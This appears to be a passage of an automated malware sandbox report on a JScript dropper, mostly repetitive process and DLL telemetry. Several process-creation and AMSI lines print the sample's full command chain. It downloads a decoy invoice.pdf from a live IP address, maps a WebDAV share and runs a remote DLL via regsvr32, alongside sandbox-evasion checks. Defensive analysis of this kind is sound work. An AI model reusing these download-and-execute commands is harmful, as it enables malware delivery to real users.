Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5498.js.csv");ITextStream.WriteLine(" entry:8415 f:xxofx");ITextStream.WriteLine(" exec:2 f:xxofx");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49753

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5562			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4183			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7516	Thread sleep count: 5562 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7516	Thread sleep count: 4183 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7576	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7592	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7500	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7604	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7792	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8132	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000000.00000002.1356698642.0000022EDBE22000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}\
Source: wscript.exe, 00000000.00000002.1356698642.0000022EDBE22000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\q
Source: net.exe, 00000007.00000002.1426048811.000001E19B848000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpn
Source: svchost.exe, 00000009.00000002.2634341692.000002879BC27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000007.00000003.1410150143.000001E19B8B1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1426155550.000001E19B8B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWcr
Source: net.exe, 00000007.00000003.1410150143.000001E19B8B1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1426155550.000001E19B8B1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2636199178.00000287A1258000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
